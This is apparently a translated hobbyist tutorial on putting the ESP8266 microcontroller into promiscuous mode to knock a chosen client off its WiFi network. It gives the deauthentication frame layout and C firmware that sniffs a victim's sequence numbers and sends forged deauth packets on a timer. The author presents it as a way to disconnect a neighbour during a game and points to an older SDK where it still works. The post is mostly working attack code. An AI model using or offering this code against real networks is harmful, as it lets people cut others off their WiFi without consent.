Promiscuous mode in microcontroller ESP-8266

I think many would agree that ESP-8266 is a great invention for DIY and the Internet of things. A kind of WiFi sensor that can be connected to an Arduino or even used instead of an Arduino to send, as a rule, weather data to the server. There are many different firmwares that allow you to do this: from the stock modem used in conjunction with the Arduino, NodeMCU for LUA adepts, and ending with numerous web servers fully serviced by ESP ( example ).







As a rule, after receiving a miniature microcontroller from China, you are unlikely to want to write your own firmware and will use one of the existing ones. There are two reasons for this: whatever you want to conceive, it has already been implemented and you hardly want to deal with the Chinese SDK with generously decorated crutches and undocumented features. And do not be confused by the attractive design of the site : writing firmware for ESP is pain and suffering. If this does not scare you, then welcome. The article is aimed at an arduynshchik with minimal experience working with ESP: you already know how to assemble firmware and write them into a microcontroller.



As you can see from the header, we will work directly with the 802.11 stack, as far as possible in the case of ESP. Promiscuous mode on ESP - the ability to send and receive "alien" data packets from the air. There are not so many applications: statistical analysis (collection of all kinds of data, such as workload depending on frequency) and network penetration and cracking. In the latter case, the typical pastime of a script kiddie will be deauthentication (disconnection) of a neighbor from his WiFi router while he is playing dota / tanks. Usually, for this, the bright head installs Kali Linux and uses the air * -ng set of skipts, but we will use a miniature controller.



For this, in addition to hardware, we need an API (I used the ESP8266 Non-OS SDK API Reference , the link may break very soon) and the wonderful project esp-open-sdk that will do most of the build of the project for you. A semi-ready (for ethical reasons) project based on the results of this note can be found on github .



So deauth. Who does not know - to terminate your WiFi connection, you can use a couple dozen bytes of data sent on the air nearby. Encryption does not save for purely conceptual reasons: deauth is provided for those cases where the connection is bad and packets are lost. Accordingly, an effective mechanism is needed to shout to the client “I'm tired of everything” and start the connection from scratch. And here it is not to encrypt. In our case, we pretend that the access point could not stand and on its behalf we will send a letter to a happy client. The package structure is as follows:

[0xC0, 0x00] + two_random_bytes + client_MAC_address + (ap_MAC_address * 2) + [seq_N_lo] + [seq_N_hi] + [0x01, 0x00] 

Greedy for knowledge will find what magic constants mean, but I will briefly describe the variables:

• two_random_bytes will be overwritten by the microcontroller;
• client_MAC_address 6 bytes of the physical MAC address of the client device;
• ap_MAC_address 6 bytes of the physical MAC address of the server device (router, access point);
• seq_N_lo, hi low and high bytes of seq_n, the sequence number of the packet multiplied by 16 (the lowest 4 bits are reserved for the possibility of sending the same packet again)

So,

Step 1: Translate ESP to station mode

Following unobtrusive comments from Chinese friends, it is simply necessary (without explanation).

 void ICACHE_FLASH_ATTR user_init() { uart_init(115200, 115200); os_printf("\n\nSDK version:%s\n", system_get_sdk_version()); // Promiscuous works only with station mode wifi_set_opmode(STATION_MODE); // Set timer for deauth os_timer_disarm(&deauth_timer); os_timer_setfn(&deauth_timer, (os_timer_func_t *) deauth, NULL); os_timer_arm(&deauth_timer, DEAUTH_INTERVAL, 1); // Continue to 'sniffer_system_init_done' system_init_done_cb(sniffer_system_init_done); } 

Among other things, we expose the I / O speed from the serial to read debugging messages, use the built-in timer to call the deauth method every DEAUTH_INTERVAL milliseconds and enable ESP to rustle before proceeding to the second initialization stage.

Step 2: Putting ESP into promiscuous mode

To do this, we define the function sniffer_system_init_done that was used earlier.

 void ICACHE_FLASH_ATTR sniffer_system_init_done(void) { // Set up promiscuous callback wifi_set_channel(channel); wifi_promiscuous_enable(0); wifi_set_promiscuous_rx_cb(promisc_cb); wifi_promiscuous_enable(1); } 

Here we set the WiFi band (data receiving / transmitting channel, see the instructions for your country), write down the callback for receiving promisc_cb packets and launch the promiscuous mode. Why do we need this callback?

Step 3: sniff packages

One of the deauth parameters of the packet, seq_n, implies that we have received previous packets and know the sequence number of the next one. To do this, we need to listen to someone else's connection and record this seq_n.

 static void ICACHE_FLASH_ATTR promisc_cb(uint8_t *buf, uint16_t len) { if (len == 12){ struct RxControl *sniffer = (struct RxControl*) buf; } else if (len == 128) { struct sniffer_buf2 *sniffer = (struct sniffer_buf2*) buf; } else { struct sniffer_buf *sniffer = (struct sniffer_buf*) buf; int i=0; // Check MACs for (i=0; i<6; i++) if (sniffer->buf[i+4] != client[i]) return; for (i=0; i<6; i++) if (sniffer->buf[i+10] != ap[i]) return; // Update sequence number seq_n = sniffer->buf[23] * 0xFF + sniffer->buf[22]; } } 

The cascade of ifs is tied to black magic with a variety of 802.11 standards. Of course, ESP supports only the most necessary set and does not work, say, with a frequency of 5Ghz. Descriptions of all structures are available in the documentation and examples, we also need a small one: a field with data sniffer-> buf in this case. We check that the packet came from the access point and went to our victim and, if so, write 2 bytes of seq_n. By the way, the packages in the opposite direction have a separate numbering.

Step 4: Sending

Case for a few - send the package.

 uint16_t deauth_packet(uint8_t *buf, uint8_t *client, uint8_t *ap, uint16_t seq) { int i=0; // Type: deauth buf[0] = 0xC0; buf[1] = 0x00; // Duration 0 msec, will be re-written by ESP buf[2] = 0x00; buf[3] = 0x00; // Destination for (i=0; i<6; i++) buf[i+4] = client[i]; // Sender for (i=0; i<6; i++) buf[i+10] = ap[i]; for (i=0; i<6; i++) buf[i+16] = ap[i]; // Seq_n buf[22] = seq % 0xFF; buf[23] = seq / 0xFF; // Deauth reason buf[24] = 1; buf[25] = 0; return 26; } /* Sends deauth packets. */ void deauth(void *arg) { os_printf("\nSending deauth seq_n = %d ...\n", seq_n/0x10); // Sequence number is increased by 16, see 802.11 uint16_t size = deauth_packet(packet_buffer, client, ap, seq_n+0x10); wifi_send_pkt_freedom(packet_buffer, size, 0); } 

The first function writes the necessary data to the buffer, the second one sends it.

Step 5: check

To test the performance, I used my own computer.





For objective analysis, you can use Wireshark:







The package is visible in the form in which we sent it.



So does this really work? Not. In the current versions of the SDK it is broken fixed. Broadcast packets can be sent, but no more. But the old SDK has been lovingly preserved and is available as part of the GitHub example. Use with caution.